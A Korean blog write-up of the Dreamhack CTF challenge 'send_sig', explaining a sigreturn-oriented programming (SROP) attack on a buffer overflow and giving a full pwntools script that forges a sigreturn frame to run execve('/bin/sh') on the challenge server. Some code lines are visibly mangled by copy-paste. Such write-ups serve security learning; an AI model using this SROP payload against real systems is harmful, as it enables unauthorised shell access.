Jastes 2022. 11. 13. 23:00

힌트가 파일 이름보니까 sig에서 syscall에.. srop 문제임으로 sigreturn을 이용하겠죠?


send_sig

음.. 내 뭐 setvbuf 부분과 5-7까지는 1번째 인자 1이니까 write인듯 싶네요
그리고 11번째 코드가 signal을 write해서 read을 1024byte만큼 하는 걸로 보입니다.

또한 v3가 이제 buf인 듯 싶기에 v3[8]이구나..

이를 이용해 NX가 걸려 있으므로 SROP를 합시다(Partial RELRO 우회)
여기서 전 문제처럼 gadget이 없기에.. 일단 execve의 함수나 binsh같은 문자열이 있는지 확인을 해봅시다.

PIE가 안 걸려있으므로 사용이 쉽게 가능합니다. 해서 bss 영역으로 read 해서 할 필요가 없어요
편해졌네요 나이스


익스 설계

sigreturn 호출

SROP를 하기 위해 sigreturn 시스콜을 호출해야죠
그리고 앞에서 대충 signal에 입력하기에 sigreturn을 활용하여 pop rax, syscall, rip.. rdi 다 있겠죠?

이를 활용하여 bof 를 일으킵니다.

execve 호출

sigreturn은 스택 영역의 값을 레지스터로 복사합니다.
따라서 1024 바이트를 입력 시 sigcontext 구조체..를 생각하고,
execve 시스콜을 호출하기 위한 인자를 모두 설정합니다!


Exploit code

이를 통해 가젯의 주소를 알아내고, RAX 레지스터의 값을 sigreturn 시스콜의 번호 15로 조작합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
 
#p = process('./send_sig')
= remote('host3.dreamhack.games'17337)
 
'''default Setting(SROP)'''
pop_rax = 0x4010ae
syscall_addr = 0x4010b0
binsh_addr = 0x402000
 
context(arch='amd64')
 
'''SigFream using'''
frame = SigreturnFrame()
# execve("/bin/sh", 0, 0)
frame.rax = 0x3b #execve rax number
frame.rdi = binsh_addr
frame.rsi = 0x0
frame.rdx = 0x0
frame.rip = syscall_addr
 
'''payload'''
payload = b'A'*0x10 #buf-sfp
payload += p64(pop_rax)
payload += p64(15#sigreturn
payload += p64(syscall_addr)
payload += bytes(frame)
 
'''excute'''
p.sendlineafter('Signal:', payload)
 
p.interactive()
 
cs

SROP 할건데 이제 sigreturn 할거라서 SigreturnFrame을 사용할 겁니다.
해서 필요한 인자들은 넣었습니다.


execve(kernel)로 바로 들어갈 것이기에 위와 같이 넣었습니다.

그리고 아까 v3가 8byte라고 했으므로 위와 같이 ROP를 한다면.. 짜란


참고 자료

참고 이미지